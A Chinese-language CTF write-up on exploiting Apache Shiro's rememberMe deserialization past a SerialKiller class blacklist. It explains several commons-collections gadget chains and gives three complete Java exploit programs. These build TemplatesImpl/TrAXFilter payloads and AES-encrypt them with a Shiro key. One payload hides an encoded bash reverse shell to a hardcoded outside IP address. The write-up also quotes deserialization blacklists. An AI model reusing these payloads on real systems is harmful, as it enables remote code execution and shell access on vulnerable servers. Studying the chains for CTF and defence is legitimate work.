这是一道shrio框架下反序列化的java题目,当时没打这个比赛,赛后来自己做下这个题目。个人感觉这道题很好的考察了关于CC链配合java8高版本的各种灵活运用。并且如果在初步调试了各个cc链之后,再来看这道题,能让本java废物对于CC的各个经典链子有更加熟悉的理解了。
附一张cc依赖各种链子的调用图
ezcc 一些参考文章
关于shrio的些东西 原理分析:根据shiro分析可以得到,主要存在几个重要的点:
rememberMe cookie
CookieRememberMeManager.java
Base64
AES
加密密钥硬编码
Java serialization
1.首先正常登录,然后生成带有rememberme的返回cookie值。
2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager
3.之后进入serialize,对登录认证信息进行序列化
4.然后加密,调用aes算法。
5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回
6.解析cookie
7.先解密在反序列化
8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码
9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager()这里用的是默认反序列化类,然后触发生成反序列化。
题解分析 禁用的类
<blacklist> <regexp>^org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp> <regexp>^org\.apache\.commons\.beanutils\.BeanComparator$</regexp> <regexp>^org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp> <regexp>^java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp> </blacklist>
首先shrio框架可以在org.apache.shiro.mgt.AbstractRememberMeManager
类中找到密钥kPH+bIxk5D2deZiIxcaaaA==
。然后这题很明显就是寻找反序列化链子,查看依赖发现可利用的有commons-collections3
和commons-beanutils
,但是在sk
里面ban了InvokerTransformer$
,ConstantTransformer$
,BeanComparator$
,这些类,所以需要找到可以替换的类。
关于InvokerTransformer
,可以替换成InstantiateTransformer
然后我们注意到题目是tomcat服务,那么就存在TemplatesImpl
这个利用点,然后还需要一个链来触发TemplatesImpl
的newTransformer
函数。所以如何触发newTransformer
函数就成了关键。而熟悉的话就能想到TrAXFilter
这个经常和TemplatesImpl
出现在一起的类。
思路一(BadAttributeValueExpException+jdkLazyMap) 因为我对这个类很熟悉所以第一时间想到的只有这个类了。然后可以拼接JDK1.8--LazyMap利用链
。通常的一个JDK1.8–LazyMap利用链如下
反序列化BadAttributeValueExpException ->BadAttributeValueExpException.readObject() ->TiedMapEntry.toString() ->TiedMapEntry.getValue() ->LazyMap.get() ->ChainedTransformer.transform()
我们将
->ChainedTransformer . transform() 这里替换成 ->InstantiateTransformer . transform() ->TrAXFilter.TrAXFilter() ->TemplatesImpl .new Instance() 即可
最终的调用栈就是
->BadAttributeValueExpException.readObject() ->TiedMapEntry.toString() ->TiedMapEntry.getValue() ->LazyMap.get() ->InstantiateTransformer.transform() ->TrAXFilter.TrAXFilter() ->TemplatesImpl.newInstance()
编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 public class test2 { public static void main (String[] args) throws Exception { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization" ,"true" ); ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("payload" ); CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes = ctClass.toBytecode(); ctClass.writeFile(); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templatesImpl, "_name" , "a" ); setFieldValue(templatesImpl, "_tfactory" , null ); final Map innerMap = new HashMap(); ConstantTransformer constantTransformer = new ConstantTransformer(1 ); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[] { templatesImpl }); final Map lazyMap = LazyMap.decorate(innerMap, constantTransformer); TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, TrAXFilter.class); lazyMap.clear(); Field field = LazyMap.class.getDeclaredField("factory" ); field.setAccessible(true ); field.set(lazyMap,instantiateTransformer); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null ); Field f = badAttributeValueExpException.getClass().getDeclaredField("val" ); f.setAccessible(true ); f.set(badAttributeValueExpException,tideMapEntry); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(badAttributeValueExpException); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream(in); objectInputStream.readObject(); objectInputStream.close(); byte [] payloads = barr.toByteArray(); AesCipherService aes = new AesCipherService(); byte [] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } public static void setFieldValue (Object obj,String key, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(key); field.setAccessible(true ); field.set(obj,value); } }
思路二(官方wp)JDK1.8-LazyMap+HashMap 这里同样需要拼接JDK1.8-LazyMap,但是不同于上面就是没有使用BadAttributeValueExpException这个类。而是用了HashMap来触发
我是并没有想到用TiedMapEntry
,虽然调试过,但可能就是浮于表面不熟悉,不太能灵活的运用。
JDK1.8–LazyMap利用链原本如下。其实就是为了解决Java高版本利用问题,需要在找上下文中是否还有其他调用LazyMap#get()
的地方。
不同于上面的调用链的前半部分,这个链子是通过TiedMapEntry
来调用LazyMap#get()
。所以我们只需要更改后半部分的恶意代码执行类就行了。
/* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashMap.readObject() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map .LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform () org.apache.commons.collections.functors.InvokerTransformer.transform () java.lang .reflect.Method.invoke() java.lang .Runtime.exec() */
更改完的调用链,区别就在于前半部分
readObject () ->java.util .HashMap .put () ->java.util .HashMap .hash () ->org.apache .commons .collections .keyvalue .TiedMapEntry .hashcode () ->org.apache .commons .collections .keyvalue .TiedMapEntry .getValue () ->org.apache .commons .collections .map .LazyMap .get () ->org.apache .commons .collections .functors .InstantiateTransformer .transform () ->com.sun .org .apache .xalan .internal .xsltc .trax .TrAXFilter .TrAXFilter () ->com.sun .org .apache .xalan .internal .xsltc .trax .TemplatesImpl .newTransformer ()
这里就不调试了,exp如下:
这里有个细节就是需要先设置一个无关紧要的transformer,最后再替换就行,防止expMap.put()操作发生报错。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 package ezcc.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.*;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import javax.xml.transform.Templates;public class test { public static void main (String[] args) throws Exception { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization" ,"true" ); ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("payload" ); CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMjM5LjMwLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");" ); byte [] bytes = ctClass.toBytecode(); ctClass.writeFile(); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templatesImpl, "_name" , "a" ); setFieldValue(templatesImpl, "_tfactory" , null ); final Map innerMap = new HashMap(); ConstantTransformer constantTransformer = new ConstantTransformer(1 ); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[] { templatesImpl }); final Map lazyMap = LazyMap.decorate(innerMap, constantTransformer); TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap,TrAXFilter.class); final HashMap expMap = new HashMap(); expMap.put(tideMapEntry,"kkfine" ); lazyMap.clear(); Field field = LazyMap.class.getDeclaredField("factory" ); field.setAccessible(true ); field.set(lazyMap,instantiateTransformer); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); byte [] payloads = barr.toByteArray(); AesCipherService aes = new AesCipherService(); byte [] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } private static void Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } public static void setFieldValue (Object obj,String key, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(key); field.setAccessible(true ); field.set(obj,value); } }
思路三(接一二) 改造CC3,原本的cc3调用链如图。这里我们能够很显然想到将ChainedTransformer
和ConstatTransformer
这两个无关的类直接去掉不就行了。由于JDK8版本改写了AnnotationInvocationHandler类的readobject方法,所以使用AnnotationInvocationHandler
这个类还是不可行。其实这里其实就回归到了思路一的问题了,这里是java8的版本。然后最终也也就回到了上面两个思路上,因为前两个思路其实都是在这条链上对于前半部分的处理不同。
思路四(寻找CC链之外的类) 寻找CC链之外的类,这个就比较进阶了,需要自己找链子。对于本菜鸡来讲还触摸不到,但是由于看了前段时间MRCTF一些大佬的wp发现可以直接利用。
这里用的是Y4tacker
大佬的链子也能直接打。
https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF
因为MRCTF那道题的过滤非常严格,基本上把能用的CC链的类都给ban掉了,具体可见
<blacklist> <!-- ysoserial's CommonsCollections1,3,5,6 payload --> <regexp>org\.apache\.commons\.collections\.Transformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp> <!-- ysoserial' s CommonsCollections2,4 payload --> <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp> </blacklist>
所以这里需要找到另外的类来替换,不过那题其实预期解是aspectJweaver任意写fat jar 触发rce
。这里根据大佬解法提到了三个类
这个类的内容很简单,transform
方法可以调用Factory子类的create()
方法
ConstantFactory 这个类可以返回任意类,可替换ConstantTransformer
。不过这里其实用不上这个
InstantiateFactory 这个类里就有create()
方法,并且可以实例化任意类,是不是发现和InstantiateTransformer
很相似。
调用链 后半部分就可以拼接TrAXFilter
和TemplatesImpl
那一部分来执行恶意代码。具体整理调用链如下
readObject() ->java.util.HashMap.put() ->java.util.HashMap.hash() ->org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode() ->org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() ->org.apache.commons.collections.map.LazyMap.get() ->org.apache.commons.collections.functors.FactoryTransformer.transform() ->org.apache.commons.collections.functors.InstantiateFactory->create() ->com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.TrAXFilter() ->com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package ezcc.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InstantiateFactory;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import org.nibblesec.tools.SerialKiller;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class test3 { public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode( ) }); setFieldValue(obj, "_name" , "1" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); InstantiateFactory instantiateFactory; instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj}); FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); ConstantTransformer constantTransformer = new ConstantTransformer(1 ); Map innerMap = new HashMap(); LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey" ); Map expMap = new HashMap(); expMap.put(tme, "valuevalue" ); setFieldValue(outerMap,"factory" ,factoryTransformer); outerMap.remove("keykey" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); objectOutputStream.close(); byte [] payloads = byteArrayOutputStream.toByteArray(); AesCipherService aes = new AesCipherService(); byte [] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream ois = new SerialKiller(byteArrayInputStream, "F:\\javaweb\\cvdd_ezcc\\src\\main\\resources\\serialkiller.conf" ); ois.readObject(); ois.close(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }